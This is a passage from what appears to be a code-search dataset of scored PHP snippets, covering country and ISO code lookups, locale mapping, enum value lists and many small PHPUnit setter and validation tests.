Grenadines',\n\t\t\t'SM'=>'San Marino',\n\t\t\t'ST'=>'Sao Tome And Principe',\n\t\t\t'SA'=>'Saudi Arabia',\n\t\t\t'SN'=>'Senegal',\n\t\t\t'SC'=>'Seychelles',\n\t\t\t'SL'=>'Sierra Leone',\n\t\t\t'SG'=>'Singapore',\n\t\t\t'SK'=>'Slovak Republic',\n\t\t\t'SI'=>'Slovenia',\n\t\t\t'SB'=>'Solomon Islands',\n\t\t\t'SO'=>'Somalia',\n\t\t\t'ZA'=>'South Africa',\n\t\t\t'GS'=>'South Georgia And South Sandwich Islands',\n\t\t\t'KR'=>'South Korea',\n\t\t\t'ES'=>'Spain',\n\t\t\t'LK'=>'Sri Lanka',\n\t\t\t'SD'=>'Sudan',\n\t\t\t'SR'=>'Suriname',\n\t\t\t'SJ'=>'Svalbard And Jan Mayen',\n\t\t\t'SZ'=>'Swaziland',\n\t\t\t'SE'=>'Sweden',\n\t\t\t'CH'=>'Switzerland',\n\t\t\t'SY'=>'Syria',\n\t\t\t'TW'=>'Taiwan',\n\t\t\t'TJ'=>'Tajikistan',\n\t\t\t'TZ'=>'Tanzania',\n\t\t\t'TH'=>'Thailand',\n\t\t\t'TG'=>'Togo',\n\t\t\t'TK'=>'Tokelau',\n\t\t\t'TO'=>'Tonga',\n\t\t\t'TT'=>'Trinidad And Tobago',\n\t\t\t'TN'=>'Tunisia',\n\t\t\t'TR'=>'Turkey',\n\t\t\t'TM'=>'Turkmenistan',\n\t\t\t'TC'=>'Turks And Caicos Islands',\n\t\t\t'TV'=>'Tuvalu',\n\t\t\t'UG'=>'Uganda',\n\t\t\t'UA'=>'Ukraine',\n\t\t\t'AE'=>'United Arab Emirates',\n\t\t\t'UK'=>'United Kingdom',\n\t\t\t'US'=>'United States',\n\t\t\t'UM'=>'United States Minor Outlying Islands',\n\t\t\t'UY'=>'Uruguay',\n\t\t\t'UZ'=>'Uzbekistan',\n\t\t\t'VU'=>'Vanuatu',\n\t\t\t'VA'=>'Vatican City (Holy See)',\n\t\t\t'VE'=>'Venezuela',\n\t\t\t'VN'=>'Vietnam',\n\t\t\t'VG'=>'Virgin Islands (British)',\n\t\t\t'VI'=>'Virgin Islands (US)',\n\t\t\t'WF'=>'Wallis And Futuna Islands',\n\t\t\t'EH'=>'Western Sahara',\n\t\t\t'WS'=>'Western Samoa',\n\t\t\t'YE'=>'Yemen',\n\t\t\t'YU'=>'Yugoslavia',\n\t\t\t'ZM'=>'Zambia',\n\t\t\t'ZW'=>'Zimbabwe'\n\t\t);\n\t\t\n\t\tif($specificOrder) {\n\t\t\t$codes = $this->_sortArrayByArray($codes, $specificOrder);\n\t\t}\n\t\t\n\t\treturn $codes;\n\t}", "title": "" }, { "docid": "fc3329a8565e21f93e137e93c81023a3", "score": "0.46802047", "text": "public function getISOCountryCode(): ?string;", "title": "" }, { "docid": "4a0c3162dbbc740f15eeb5bd6c15caf6", "score": "0.46698865", "text": "public function testPayWithExpressPreset()\n {\n }", "title": "" }, { "docid": "fb7fe2be11d0af1dedd5dc1d33d8757e", "score": "0.46682966", "text": "public function testGetNationality()\n {\n $expected = $actual = 'FR';\n\n self::assertEquals($this->person, $this->person->setNationality($actual));\n self::assertEquals($expected, $this->person->getNationality());\n }", "title": "" }, { "docid": "8efb38fc0032e7e64f7d8e004d428a20", "score": "0.46659952", "text": "public function searchIsoCodes($key = null)\n {\n if ($key == null) {\n return [];\n }\n $iso_data = $this->getOptimizedIsoData();\n\n return array_values(array_filter($iso_data, function ($item) use ($key) {\n return str_contains(strtolower($item['name']), strtolower($key)) ||\n str_contains(strtolower($item['alpha_2']), strtolower($key)) ||\n str_contains(strtolower($item['alpha_3']), strtolower($key)) ||\n str_contains(strtolower($item['country_numeric_code']), strtolower($key));\n }));\n }", "title": "" }, { "docid": "8bbf5c559ab7fc8ed9cc66d1c73b741b", "score": "0.46645516", "text": "public function testSetNationalite() {\n\n $obj = new Intervenants();\n\n $obj->setNationalite(\"nationalite\");\n $this->assertEquals(\"nationalite\", $obj->getNationalite());\n }", "title": "" }, { "docid": "50007038f0ab515d22c43bfd824950b1", "score": "0.46606722", "text": "private function getOptimizedIsoData()\n {\n $all_countries_iso_data = $this->data->countriesISOData();\n $iso_data = $this->optimizeISOData($all_countries_iso_data);\n\n return $iso_codes = json_decode($iso_data, true);\n }", "title": "" }, { "docid": "4f446963813638e4ac2477d7815541a7", "score": "0.4659248", "text": "public function countryCode();", "title": "" }, { "docid": "5951524feb9c0c2b11f3f0e6f1d350c5", "score": "0.46445853", "text": "public function testValidISOString(): void\n {\n $value = \"2023-03-30T23:25:42Z\";\n $expected_value = true;\n $result = $this->date_validator->validate($value);\n\n $this->assertSame($expected_value, $result);\n }", "title": "" }, { "docid": "734e4a8f7bf4f306cdbe4e4b11d56bef", "score": "0.46409816", "text": "public function testNonIsoStringPassedIn(): void\n {\n $value = \"test\";\n $expected_value = false;\n $result = $this->date_validator->validate($value);\n\n $this->assertSame($expected_value, $result);\n }", "title": "" }, { "docid": "36fbe84d955aeb3f0bbadfd38177daba", "score": "0.46401367", "text": "function InitializeCountryCodes() {\r\n\r\n $htmlString = \"AF|AFGHANISTAN,AL|ALBANIA,DZ|ALGERIA,AS|AMERICAN SAMOA,AD|ANDORRA,AO|ANGOLA,AI|ANGUILLA,AQ|ANTARCTICA,AG|ANTIGUA AND BARBUDA,AR|ARGENTINA,AM|ARMENIA,AW|ARUBA,AU|AUSTRALIA,AT|AUSTRIA,AZ|AZERBAIJAN,BS|BAHAMAS,BH|BAHRAIN,BD|BANGLADESH,BB|BARBADOS,BY|BELARUS,BE|BELGIUM,BZ|BELIZE,BJ|BENIN,BM|BERMUDA,BT|BHUTAN,BO|BOLIVIA,BA|BOSNIA AND HERZEGOVINA,BW|BOTSWANA,BV|BOUVET ISLAND,BR|BRAZIL,IO|BRITISH INDIAN OCEAN TERRITORY,BN|BRUNEI DARUSSALAM,BG|BULGARIA,BF|BURKINA FASO,BI|BURUNDI,KH|CAMBODIA,CM|CAMEROON,CA|CANADA,CV|CAPE VERDE,KY|CAYMAN ISLANDS,CF|CENTRAL AFRICAN REPUBLIC,TD|CHAD,CL|CHILE,CN|CHINA,CX|CHRISTMAS ISLAND,CC|COCOS ISLANDS,CO|COLOMBIA,KM|COMOROS,CG|CONGO,CD|CONGO,CK|COOK ISLANDS,CR|COSTA RICA,CI|CÔTE D'IVOIRE,HR|CROATIA,CU|CUBA,CY|CYPRUS,CZ|CZECH REPUBLIC,DK|DENMARK,DJ|DJIBOUTI,DM|DOMINICA,DO|DOMINICAN REPUBLIC,EC|ECUADOR,EG|EGYPT,SV|EL SALVADOR,GQ|EQUATORIAL GUINEA,ER|ERITREA,EE|ESTONIA,ET|ETHIOPIA,FK|FALKLAND ISLANDS,FO|FAROE ISLANDS,FJ|FIJI,FI|FINLAND,FR|FRANCE,GF|FRENCH GUIANA,PF|FRENCH POLYNESIA,TF|FRENCH SOUTHERN TERRITORIES,GA|GABON,GM|GAMBIA,GE|GEORGIA,DE|GERMANY,GH|GHANA,GI|GIBRALTAR,GR|GREECE,GL|GREENLAND,GD|GRENADA,GP|GUADELOUPE,GU|GUAM,GT|GUATEMALA,GN|GUINEA,GW|GUINEA|BISSAU,GY|GUYANA,HT|HAITI,HM|HEARD ISLAND AND MCDONALD ISLANDS,HN|HONDURAS,HK|HONG KONG,HU|HUNGARY,IS|ICELAND,IN|INDIA,ID|INDONESIA,IR|IRAN,IQ|IRAQ,IE|IRELAND,IL|ISRAEL,IT|ITALY,JM|JAMAICA,JP|JAPAN,JO|JORDAN,KZ|KAZAKHSTAN,KE|KENYA,KI|KIRIBATI,KP|KOREA,KR|KOREA,KW|KUWAIT,KG|KYRGYZSTAN,LA|LAO PEOPLE'S DEMOCRATIC REPUBLIC,LV|LATVIA,LB|LEBANON,LS|LESOTHO,LR|LIBERIA,LY|LIBYAN ARAB JAMAHIRIYA,LI|LIECHTENSTEIN,LT|LITHUANIA,LU|LUXEMBOURG,MO|MACAO,MK|MACEDONIA,MG|MADAGASCAR,MW|MALAWI,MY|MALAYSIA,MV|MALDIVES,ML|MALI,MT|MALTA,MH|MARSHALL ISLANDS,MQ|MARTINIQUE,MR|MAURITANIA,MU|MAURITIUS,YT|MAYOTTE,MX|MEXICO,FM|MICRONESIA,MD|MOLDOVA,MC|MONACO,MN|MONGOLIA,MS|MONTSERRAT,MA|MOROCCO,MZ|MOZAMBIQUE,MM|MYANMAR,NA|NAMIBIA,NR|NAURU,NP|NEPAL,NL|NETHERLANDS,AN|NETHERLANDS ANTILLES,NC|NEW CALEDONIA,NZ|NEW ZEALAND,NI|NICARAGUA,NE|NIGER,NG|NIGERIA,NU|NIUE,NF|NORFOLK ISLAND,MP|NORTHERN MARIANA ISLANDS,NO|NORWAY,OM|OMAN,PK|PAKISTAN,PW|PALAU,PS|PALESTINIAN TERRITORY,PA|PANAMA,PG|PAPUA NEW GUINEA,PY|PARAGUAY,PE|PERU,PH|PHILIPPINES,PN|PITCAIRN,PL|POLAND,PT|PORTUGAL,PR|PUERTO RICO,QA|QATAR,RE|RÉUNION,RO|ROMANIA,RU|RUSSIAN FEDERATION,RW|RWANDA,SH|SAINT HELENA,KN|SAINT KITTS AND NEVIS,LC|SAINT LUCIA,PM|SAINT PIERRE AND MIQUELON,VC|SAINT VINCENT AND THE GRENADINES,WS|SAMOA,SM|SAN MARINO,ST|SAO TOME AND PRINCIPE,SA|SAUDI ARABIA,SN|SENEGAL,CS|SERBIA AND MONTENEGRO,SC|SEYCHELLES,SL|SIERRA LEONE,SG|SINGAPORE,SK|SLOVAKIA,SI|SLOVENIA,SB|SOLOMON ISLANDS,SO|SOMALIA,ZA|SOUTH AFRICA,GS|SOUTH GEORGIA AND SOUTH SANDWICH ISLANDS,ES|SPAIN,LK|SRI LANKA,SD|SUDAN,SR|SURINAME,SJ|SVALBARD AND JAN MAYEN,SZ|SWAZILAND,SE|SWEDEN,CH|SWITZERLAND,SY|SYRIAN ARAB REPUBLIC,TW|TAIWAN,TJ|TAJIKISTAN,TZ|TANZANIA,TH|THAILAND,TL|TIMOR|LESTE,TG|TOGO,TK|TOKELAU,TO|TONGA,TT|TRINIDAD AND TOBAGO,TN|TUNISIA,TR|TURKEY,TM|TURKMENISTAN,TC|TURKS AND CAICOS ISLANDS,TV|TUVALU,UG|UGANDA,UA|UKRAINE,AE|UNITED ARAB EMIRATES,GB|UNITED KINGDOM,US|UNITED STATES,UM|UNITED STATES MINOR OUTLYING ISLANDS,UY|URUGUAY,UZ|UZBEKISTAN,VU|VANUATU,VN|VIET NAM,VG|VIRGIN ISLANDS,VI|VIRGIN ISLANDS,WF|WALLIS AND FUTUNA,EH|WESTERN SAHARA,YE|YEMEN,ZW|ZIMBABWE\";\r\n\r\n $db = DB::Instance();\r\n\r\n $countries = explode(',', $htmlString);\r\n $countryAbbrev = array();\r\n foreach ($countries as $country) {\r\n $tempArr = explode('|', $country);\r\n $abbr = $db->EscapeString(strtolower($tempArr[0]));\r\n $c = $db->EscapeString($tempArr[1]);\r\n $sql = \"UPDATE translation SET special = '{$abbr}' WHERE en = '{$c}' AND type_id = 2\";\r\n if ($db->ExecuteQuery($sql)) {\r\n $GLOBALS['response']['R'][] = $abbr;\r\n }\r\n }\r\n\r\n}", "title": "" }, { "docid": "517935cf679a2eb6c84560ca407e1967", "score": "0.46325263", "text": "public function testEncode7() {\n $idna = $this->hexarray2string(array(\n 0x306A, 0x305C, 0x307F, 0x3093, 0x306A, 0x65E5, 0x672C, 0x8A9E,\n \t0x3092, 0x8A71, 0x3057, 0x3066, 0x304F, 0x308C, 0x306A, 0x3044,\n \t0x306E, 0x304B\n\t ));\n $result = $this->idn->encode($idna);\n $this->assertSame(IDNA_ACE_PREFIX.\"n8jok5ay5dzabd5bym9f0cm5685rrjetr6pdxa\", $result);\n }", "title": "" }, { "docid": "2cc3ffb4a4a1082362d82a2df1a92879", "score": "0.4632239", "text": "public function testSetCodePostalRc() {\n\n $obj = new Intervenants();\n\n $obj->setCodePostalRc(\"codePostalRc\");\n $this->assertEquals(\"codePostalRc\", $obj->getCodePostalRc());\n }", "title": "" }, { "docid": "c5d740ff7ccf384c355ec0527ec2b674", "score": "0.46136025", "text": "public function testSetZipCode() {\n\n $obj = new Intervenants();\n\n $obj->setZipCode(\"zipCode\");\n $this->assertEquals(\"zipCode\", $obj->getZipCode());\n }", "title": "" }, { "docid": "32de8107cefab588b4ed4c484126a747", "score": "0.46113285", "text": "public function getGoesnationalAttribute() {\n return in_array($this->iso, ['EP', 'WO', 'EM', 'OA']);\n }", "title": "" }, { "docid": "53fa945519076d5c4cba21241a7c9844", "score": "0.4607971", "text": "public function testSetCodeLineAttr()\n {\n $returned = $this->paymentSlip->setCodeLineAttr(123, 456, 987, 654, '#123456', 'Courier', '1', '#654321', '15', 'C');\n $this->assertInstanceOf('SwissPaymentSlip\\SwissPaymentSlip\\OrangePaymentSlip', $returned);\n $this->assertEquals($this->setAttributes, $this->paymentSlip->getCodeLineAttr());\n }", "title": "" }, { "docid": "1f9d92dc237f8fad82376f548a1b9c5b", "score": "0.46077555", "text": "function setCode($code);", "title": "" }, { "docid": "3fa688fab57e6c36f4ab08f0c4449677", "score": "0.46068797", "text": "public function testGetClientCodeForNonClient()\n {\n $code = Tools::getClientCode();\n $this->assertEquals('', $code);\n }", "title": "" }, { "docid": "88553233b7172b041c0890f9a7c18b8d", "score": "0.45993716", "text": "public function testCurrencyCode(): void\n {\n $cur = StringHelper::getCurrencyCode();\n StringHelper::setCurrencyCode('€');\n $fmt1 = '#,##0.000\\ [$]';\n $rslt = NumberFormat::toFormattedString(12345.679, $fmt1);\n self::assertEquals($rslt, '12,345.679 €');\n $fmt2 = '$ #,##0.000';\n $rslt = NumberFormat::toFormattedString(12345.679, $fmt2);\n self::assertEquals($rslt, '$ 12,345.679');\n StringHelper::setCurrencyCode($cur);\n }", "title": "" }, { "docid": "b44ed2c9c8e86112bb40fdf678ca91f5", "score": "0.45912227", "text": "public function getCountryCodes()\n {\n return Mage::helper('satispay/phone')\n ->getCountryCodes();\n }", "title": "" }, { "docid": "3955c7b895480daa63c61e46ee60f653", "score": "0.45856225", "text": "public function testInvalidZip()\n {\n $this->assertEquals(true, is_array($this->locator->getCoordinatesByZipCode('19027')));\n $this->assertEquals(true, is_array($this->locator->getCoordinatesByZipCode('aslkjska a sk')));\n $this->assertEquals(true, is_array($this->locator->getCoordinatesByZipCode('ñññ')));\n $this->assertEquals(true, is_array($this->locator->getCoordinatesByZipCode('')));\n }", "title": "" }, { "docid": "163fcccc014d942ea263510fa7907efe", "score": "0.45842975", "text": "function getISO3166Codes()\n {\n return array('at');\n }", "title": "" }, { "docid": "6aec8e9c261b9b8f78d79c41fddc5906", "score": "0.45841134", "text": "public function testSetCodeOfficielCommune() {\n\n $obj = new Intervenants();\n\n $obj->setCodeOfficielCommune(\"codeOfficielCommune\");\n $this->assertEquals(\"codeOfficielCommune\", $obj->getCodeOfficielCommune());\n }", "title": "" }, { "docid": "f3727b0b84b3d9c42f7063d0d8324e7f", "score": "0.45815128", "text": "function bamobile_mobiconnector_convert_languagesCode_to_isoCode($languageCode){\r\n $listConvert = array(\r\n\t\t'en' => array(\r\n\t\t\t'en_US',\r\n\t\t\t'en_AU',\r\n\t\t\t'en_CA',\r\n\t\t\t'en_GB',\r\n\t\t\t'is_IS',\r\n\t\t\t'haw_US',\r\n\t\t),\r\n\t\t'vn' => array(\r\n\t\t\t'vi'\r\n\t\t),\r\n\t\t'zh-Hant' => array(\r\n\t\t\t'zh_HK',\r\n\t\t\t'zh_TW'\r\n\t\t),\r\n\t\t'zh-Hans' => array(\r\n\t\t\t'zh_CN'\r\n\t\t),\r\n\t\t'nl' => array(\r\n\t\t\t'nl_NL',\r\n\t\t\t'nl_BE',\r\n\t\t\t'fy'\r\n\t\t),\r\n\t\t'ka' => array(\r\n\t\t\t'ka_GE'\r\n\t\t),\r\n\t\t'hi' => array(\r\n\t\t\t'hi_IN',\r\n\t\t\t'gu_IN',\r\n\t\t\t'ml_IN'\r\n\t\t),\r\n\t\t'it' => array(\r\n\t\t\t'it_IT'\r\n\t\t),\r\n\t\t'ja' => array(\r\n\t\t\t'ja'\r\n\t\t),\r\n\t\t'ko' => array(\r\n\t\t\t'ko_KR'\r\n\t\t),\r\n\t\t'lv' => array(\r\n\t\t\t'lv'\r\n\t\t),\r\n\t\t'lt' => array(\r\n\t\t\t'lt_LT'\r\n\t\t),\r\n\t\t'fa' => array(\r\n\t\t\t'fa_IR',\r\n\t\t\t'fa_AF',\r\n\t\t\t'haz'\r\n\t\t),\r\n\t\t'sr' => array(\r\n\t\t\t'sr_RS'\r\n\t\t),\r\n\t\t'th' => array(\r\n\t\t\t'th'\r\n\t\t),\r\n\t\t'ar' => array(\r\n\t\t\t'ar'\r\n\t\t),\r\n\t\t'hr' => array(\r\n\t\t\t'hr',\r\n\t\t\t'bs_BA'\r\n\t\t), \r\n\t\t'et' => array(\r\n\t\t\t'et'\r\n\t\t), \r\n\t\t'bg' => array(\r\n\t\t\t'bg_BG'\r\n\t\t), \r\n\t\t'he' => array(\r\n\t\t\t'he_IL'\r\n\t\t), \r\n\t\t'ms' => array(\r\n\t\t\t'ms_MY'\r\n\t\t),\r\n\t\t'pt' => array(\r\n\t\t\t'pt_BR',\r\n\t\t\t'pt_PT'\r\n\t\t), \r\n\t\t'sk' => array(\r\n\t\t\t'sk_SK'\r\n\t\t), \r\n\t\t'tr' => array(\r\n\t\t\t'tr_TR'\r\n\t\t), \r\n\t\t'ca' => array(\r\n\t\t\t'ca',\r\n\t\t\t'bal'\r\n\t\t), \r\n\t\t'cs' => array(\r\n\t\t\t'cs_CZ'\r\n\t\t), \r\n\t\t'fi' => array(\r\n\t\t\t'fi'\r\n\t\t), \r\n\t\t'de' => array(\r\n\t\t\t'de_DE',\r\n\t\t\t'de_CH'\r\n\t\t), \r\n\t\t'hu' => array(\r\n\t\t\t'hu_HU'\r\n\t\t), \r\n\t\t'nb' => array(\r\n\t\t\t'nb_NO'\r\n\t\t), \r\n\t\t'ro' => array(\r\n\t\t\t'ro_RO'\r\n\t\t), \r\n\t\t'es' => array(\r\n\t\t\t'es_AR',\r\n\t\t\t'es_CL',\r\n\t\t\t'es_CO',\r\n\t\t\t'es_MX',\r\n\t\t\t'es_PE',\r\n\t\t\t'es_PR',\r\n\t\t\t'es_ES',\r\n\t\t\t'es_VE',\r\n\t\t\t'gn',\r\n\t\t\t'gl_ES'\r\n\t\t), \r\n\t\t'uk' => array(\r\n\t\t\t'uk'\r\n\t\t), \r\n\t\t'da' => array(\r\n\t\t\t'da_DK'\r\n\t\t), \r\n\t\t'fr' => array(\r\n\t\t\t'fr_BE',\r\n\t\t\t'fr_FR',\r\n\t\t\t'co'\r\n\t\t), \r\n\t\t'el' => array(\r\n\t\t\t'el'\r\n\t\t), \r\n\t\t'id' => array(\r\n\t\t\t'id_ID',\r\n\t\t\t'su_ID',\r\n\t\t\t'jv_ID'\r\n\t\t), \r\n\t\t'pl' => array(\r\n\t\t\t'pl_PL'\r\n\t\t), \r\n\t\t'ru' => array(\r\n\t\t\t'ru_RU',\r\n\t\t\t'ru_UA',\r\n\t\t\t'ky_KY'\r\n\t\t),\r\n\t\t'sv' => array(\r\n\t\t\t'sv_SE'\r\n\t\t)\r\n\t);\r\n\tforeach($listConvert as $iso => $languages){\r\n\t\tforeach($languages as $language){\r\n\t\t\tif($language == $languageCode){\r\n\t\t\t\t$isoCode = $iso;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tif(empty($isoCode)){\r\n\t\treturn 'en';\r\n\t}else{\r\n\t\treturn $isoCode;\r\n\t}\r\n}", "title": "" }, { "docid": "42276df532b9e1b1016443a3372a4c5c", "score": "0.4581036", "text": "public function testIsoStringForInvalidDatePassedIn(): void\n {\n $value = \"2023-15-31T23:25:42Z\";\n $expected_value = false;\n $result = $this->date_validator->validate($value);\n\n $this->assertSame($expected_value, $result);\n }", "title": "" }, { "docid": "110c95e2bbce6db1270a358687f07b1d", "score": "0.4578616", "text": "public function testSetNir() {\n\n $obj = new Intervenants();\n\n $obj->setNir(\"nir\");\n $this->assertEquals(\"nir\", $obj->getNir());\n }", "title": "" }, { "docid": "01daf1ee8fff23e7dc4655bd894ca42e", "score": "0.45680866", "text": "public function testValidZip()\n {\n $this->assertEquals(true, is_array($this->locator->getCoordinatesByZipCode('19027')));\n }", "title": "" }, { "docid": "f94d42ac5890ef0f990baed0d4823c6c", "score": "0.4563762", "text": "public function setCode( $code );", "title": "" }, { "docid": "fc756e9a4d6bb64dd2d14a086c0f0645", "score": "0.456328", "text": "public function testSetCodeInsee() {\n\n $obj = new Intervenants();\n\n $obj->setCodeInsee(\"codeInsee\");\n $this->assertEquals(\"codeInsee\", $obj->getCodeInsee());\n }", "title": "" }, { "docid": "f4cb378c2b7978a35817cc92fe039712", "score": "0.4559173", "text": "function testSetZipcode()\r\n {\r\n $params['zipcode'] = \"8000\";\r\n \r\n $appController = new ApplicationController($this->ant, $this->user);\r\n $appController->debug = true;\r\n \r\n $zipcode = $appController->setZipcode($params); \r\n $this->assertTrue($zipcode > 0);\r\n $this->assertEquals($zipcode, $params['zipcode']);\r\n }", "title": "" }, { "docid": "8bfba79a9a58c64aac6d262881ca9301", "score": "0.45590362", "text": "function test_change_currency_bad_value_errors(){\n\t\t$return_value = $this->order->set_currency( 'not-valid' );\n\t\t$this->assertFalse( $return_value );\n\n\t}", "title": "" }, { "docid": "2605c254d05e5c4dce2d7459519c8412", "score": "0.45536944", "text": "function SetCode($code='') { $this->code = $code; }", "title": "" }, { "docid": "0e5e8d5319cb6fc534109450c90d3986", "score": "0.4551545", "text": "public function testOtherInvalidIsbn()\n {\n $this->expectException(\"Exception\");\n $this->expectExceptionMessage(\"Invalid characters in the code\");\n\n Isbn::validateAsIsbn13(\"34995031X\");\n }", "title": "" }, { "docid": "9a4801470e5e7756932c771f0b3a0219", "score": "0.45482197", "text": "public function testPOSTDeliveryCheckoutsDeliveryCheckoutIdSummaryCurrency()\n {\n }", "title": "" }, { "docid": "9b5b13e27e91bbcae230f168c77a8232", "score": "0.45362747", "text": "public function getNaicCode()\n\t{\n\t\treturn $this->naic_code;\n\t}", "title": "" }, { "docid": "2d9b3a3d53a78da463a72f403cd8a272", "score": "0.45332062", "text": "public function testPostalCode(): void\n {\n $actual = $expected = '33000';\n\n self::assertSame($this->bill, $this->bill->setPostalCode($actual));\n self::assertSame($expected, $this->bill->getPostalCode());\n }", "title": "" }, { "docid": "7fd757434e13ebff22352194a1aadbd6", "score": "0.45192286", "text": "public function validInnCode(): string\n {\n return $this->generateInnCode();\n }", "title": "" }, { "docid": "348ea47a9b0342f700daf61dd90ea3a7", "score": "0.4518824", "text": "public function testSetCodesPostaux(): void {\n\n $obj = new Commune();\n\n $obj->setCodesPostaux([\"codePostal\"]);\n $this->assertEquals([\"codePostal\"], $obj->getCodesPostaux());\n }", "title": "" }, { "docid": "2329717692eb6d880d823c2ba0d75964", "score": "0.4515945", "text": "public function testSensitivityAnalysis()\n {\n }", "title": "" }, { "docid": "e9f2bbbfae41dade22f3f75966aee815", "score": "0.4513344", "text": "public function testIPGInit()\n {\n $this->assertSame(PaycorpSampathVault::IPGLoaded(), \"1.0.0.1\");\n }", "title": "" }, { "docid": "3d2d357e4354e3d7f62ab8248cd169f1", "score": "0.45092136", "text": "public function testOSR_IsSameGeogCS1()\n {\n $actual = OSR_ISSameGeogCS(static::$srs4326, static::$srs31468);\n $this->assertFalse(\n $actual,\n \"OSR_IsSameGeogCS should be FALSE for EPSG:4326 und EPSG:31468\"\n );\n }", "title": "" }, { "docid": "170f8b818b17d29635aeb88c76eff527", "score": "0.45042118", "text": "public function setIsoDate($isoDate) {\n $this->isoDate = $isoDate;\n }", "title": "" }, { "docid": "036fb97d30f84a47097ccfa62912e35b", "score": "0.44929963", "text": "function test_coinAmount_nickelPenny()\n {\n //Arrange\n $test_Coin = new Coin;\n $input = 6;\n\n //Act\n $result = $test_Coin->coinAmount($input);\n\n //Assert\n $this->assertEquals([1, 1, 0, 0], $result);\n }", "title": "" }, { "docid": "545a84d6cd89913c04fce79d62d6c1bf", "score": "0.44836807", "text": "public function testIpoCalendar()\n {\n }", "title": "" }, { "docid": "36fd7f95235da3e10bd6683e19d4c779", "score": "0.44758865", "text": "public function testCountry()\n {\n }", "title": "" }, { "docid": "d9b38b6183917cd2b6dc82a29f7dbdbe", "score": "0.44728777", "text": "public function testCryptoSymbols()\n {\n }", "title": "" }, { "docid": "49c52a8c0444b2524cfd301bf4773ebe", "score": "0.44658935", "text": "public function testLowerCaseCountryCode(): void\n {\n $this->assertTrue($this->validator->supports('nl'));\n $this->assertNotNull($this->validator->patternFor('nl'));\n $this->assertTrue($this->validator->passes('nl', '1234 AB'));\n }", "title": "" } ]
5edad5c3658ac2e132a0877f8aee58dd
Gets allowable values of the enum
[ { "docid": "94c8e31d0ad6230aa1e80ab5f3aec49e", "score": "0.0", "text": "public function getVolumeTypeAllowableValues()\r\n {\r\n return [\r\n self::VOLUME_TYPE_HIGH,\r\n self::VOLUME_TYPE_ULTRAHIGH,\r\n self::VOLUME_TYPE_ESSD,\r\n ];\r\n }", "title": "" } ]
[ { "docid": "5dcedd8e0591184372021130be7e9bfe", "score": "0.8583978", "text": "public static function getAllowableEnumValues()\n {\n return [\n self::SP,\n self::LTL,\n ];\n }", "title": "" }, { "docid": "aeb4db93ff7e37ad0c2034805e7fbfad", "score": "0.85685855", "text": "public static function getAllowableEnumValues()\n {\n return [\n self::UNREDEEMED,\nself::REDEEMED, ];\n }", "title": "" }, { "docid": "ea39118a9bfac140b1b907a60baaaf01", "score": "0.8549012", "text": "public static function getAllowableEnumValues()\n {\n return [\n self::TRIAL,\n self::STARTER,\n self::BUSINESS,\n self::ENTERPRISE,\n ];\n }", "title": "" }, { "docid": "c8d04c8c28c98eb2118a17a1b2654273", "score": "0.85462403", "text": "public static function getAllowableEnumValues()\n {\n return [\n self::MAX_VCPM,\n self::SOV,\n self::UNKNOWN,\n ];\n }", "title": "" }, { "docid": "3982b802845efc737c8e1e561c7ee6f6", "score": "0.8542054", "text": "public static function getAllowableEnumValues()\n {\n return [\n self::ACT,\n self::NSW,\n self::NT,\n self::QLD,\n self::SA,\n self::TAS,\n self::VIC,\n self::WA,\n ];\n }", "title": "" }, { "docid": "39e31630f791d6fefd078ecc00ec9c91", "score": "0.85318965", "text": "public static function getAllowableEnumValues()\n {\n return [\n self::SP,\nself::LTL, ];\n }", "title": "" }, { "docid": "f5606203dc6d40c1bebf8875bce891d7", "score": "0.8517846", "text": "public static function getAllowableEnumValues()\n {\n return [\n self::GEEN_DATA,\n self::ONBEKEND,\n self::NIET_VERVUILD,\n self::NIET_ERNSTIG,\n self::POTENTIEEL_ERNSTIG,\n self::ERNSTIG\n ];\n }", "title": "" }, { "docid": "52451bb2b52d20f3850acf256a274d4f", "score": "0.8491518", "text": "public static function getAllowableEnumValues()\n {\n return [\n self::CAMPAIGN,\n self::NEGATIVE_CAMPAIGN_CRITERION,\n self::AD_GROUP,\n self::BIDDABLE_AD_GROUP_CRITERION,\n self::NEGATIVE_AD_GROUP_CRITERION,\n self::AD,\n self::ALL,\n self::UNKNOWN,\n ];\n }", "title": "" }, { "docid": "a7c91df156dbc6820e95e3be577aca29", "score": "0.8486439", "text": "public static function getAllowableEnumValues()\n {\n return [\n self::ORANGE,\n self::TIGO,\n self::MOOV,\n self::MTN,\n self::AIRTEL,\n self::AIRTELTIGO,\n self::VODAFONE,\n self::MPESA,\n self::AFRICELL,\n self::TELECOM,\n self::MOBICASH,\n self::EMONEY,\n self::FREE,\n self::WAVE,\n self::EXPRESSO,\n self::TMONEY,\n ];\n }", "title": "" }, { "docid": "7fdf9b719e159ddda886f60434dfe480", "score": "0.8477415", "text": "public static function getAllowableEnumValues()\n {\n return [\n self::SOFTWARE,\n self::WEB_APP,\n self::SAAS,\n self::MODULE,\n self::OTHER,\n ];\n }", "title": "" }, { "docid": "5a65f6e72304dab41b7ca7d2461f8eac", "score": "0.8463188", "text": "public static function getAllowableEnumValues()\n {\n return [\n self::CLAY,\n self::LOAM,\n self::PEAT,\n self::SAND,\n self::SABULOUS_CLAY,\n ];\n }", "title": "" }, { "docid": "80396bb27425e1a86e41fb77a5aff8f5", "score": "0.8455063", "text": "public static function getAllowableEnumValues()\n {\n return [\n self::POLYBAGGING,\nself::BUBBLE_WRAPPING,\nself::TAPING,\nself::BLACK_SHRINK_WRAPPING,\nself::LABELING,\nself::HANG_GARMENT, ];\n }", "title": "" }, { "docid": "1a16529a87b14ccef123b2743c5931be", "score": "0.84437215", "text": "public static function getAllowableEnumValues()\n {\n return [\n self::_08_31,\nself::_09_15, ];\n }", "title": "" }, { "docid": "fd8892649d98baa018262f603b815b68", "score": "0.84428304", "text": "public static function getAllowableEnumValues()\n {\n return [\n self::DIRTY_WORD,\n self::PIRATED_SIGNATURE,\n self::VIRUS,\n self::ADMINISTRATOR_DELETE,\n self::MISS_RESOURCE,\n self::REJECT,\n self::GO_ILLEGAL,\n self::OFFLINE,\n self::INTERNAL_SERVER_ERROR,\n self::ONLINE,\n self::NEW_VERSION,\n ];\n }", "title": "" }, { "docid": "facb1768e48a2192f545b4fc6a338a0c", "score": "0.8432594", "text": "public static function getAllowableEnumValues()\n {\n return [\n self::ADD,\n self::REMOVE,\n self::REPLACE,\n self::MOVE,\n self::COPY,\n self::TEST,\n self::INVALID\n ];\n }", "title": "" }, { "docid": "cb7f892a3de658e2c610c641010732f1", "score": "0.84244955", "text": "public static function getAllowableEnumValues()\n {\n return [\n self::STABLE,\n self::BETA,\n 